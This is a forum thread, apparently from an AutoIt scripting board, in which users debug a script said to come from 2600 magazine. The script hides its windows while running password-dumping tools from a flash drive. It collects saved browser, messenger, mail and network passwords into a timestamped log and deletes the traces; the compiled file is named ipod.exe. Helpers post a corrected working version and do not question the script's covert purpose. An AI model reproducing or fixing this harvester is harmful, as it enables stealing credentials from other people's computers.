Jump to content
Sign in to follow this  
maradona

unterminated string?

Recommended Posts

maradona

ok, so i got this script out of 2600 quarterly...it's supposed to recover saved passwords on a computer...i have the four applications on the flash drive all ready, so i entered this script into the autoit v3 script editor, and i opened aut2exe script compiler to make it an .exe...but when i try, it says "error: unterminated string"

am i missing anything somewhere? i checked it many times.

here is the script:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext

..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext

..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext

..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext

..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)

sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"',

sleep(1000)

Dim $DateTime, $Location, $FileName

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN &

"-" & @SEC

$Location = @WorkingDir & '\new\'

$FileName = "all.txt"

FileMove($Location & $FileName , $Location & $DateTime & ".log",1)

sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)

sleep(1000)

Share this post


Link to post
Share on other sites
Josbe

Write your setence in single line not multiple:

wrong:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext

..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

correct:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

note: Here, I don't know about the arguments, but this error message("unterminated string") is because this reason.

Share this post


Link to post
Share on other sites
maradona

ahh thanks a lot! i really dont know much of anything about this stuff....it worked, thanks again!

EDIT: actually, it doesn't work. now it says "Error: Error parsing function call." it looks like this:

Line 0 (File "K:\ipod.exe"):

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt",

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt"^ERROR

Error: Error parsing function call.

what did i do wrong noww?

Edited by maradona

Share this post


Link to post
Share on other sites
piccaso

you probably lost the 2 parameters somewhere... :rolleyes:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext ..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext ..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)

Dim $DateTime, $Location, $FileName
$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC
$Location = @WorkingDir & '\new\'
$FileName = "all.txt"
FileMove($Location & $FileName, $Location & $DateTime & ".log", 1)
Sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)

CoProc Multi Process Helper libraryTrashBin.nfshost.com store your AutoIt related files here!AutoIt User Map

Share this post


Link to post
Share on other sites
maradona

thanks, i don't get any error messages now.

so this should be creating a text file with the gathered information, right?

ummm....where does it create it to? lol sorry.....a noob here....

all four applications are on a flash drive, and i put the .exe compiled from the script there also. i run the script exe and it opens for about 4 seconds in the system tray, but i don't see any text files...? i checked hidden files also

Share this post


Link to post
Share on other sites
rolex

i got the same error parsing function call error and im trying to fix it

i see that you say hes lacking 2 parameters and how would i fix that?

Share this post


Link to post
Share on other sites
rolex

ok i fixed that...

but now it says error in expression

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC

$DateTime =^ERROR

now whats wrong?

Share this post


Link to post
Share on other sites
PsaltyDS

ok i fixed that...

but now it says error in expression

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC

$DateTime =^ERROR

now whats wrong?

Nothing at all wrong with that line:

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC
MsgBox(64, "Results", $DateTime)

If you have unpaired quotes or parens earlier in the script, you might see a problem like that.

:rolleyes:


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.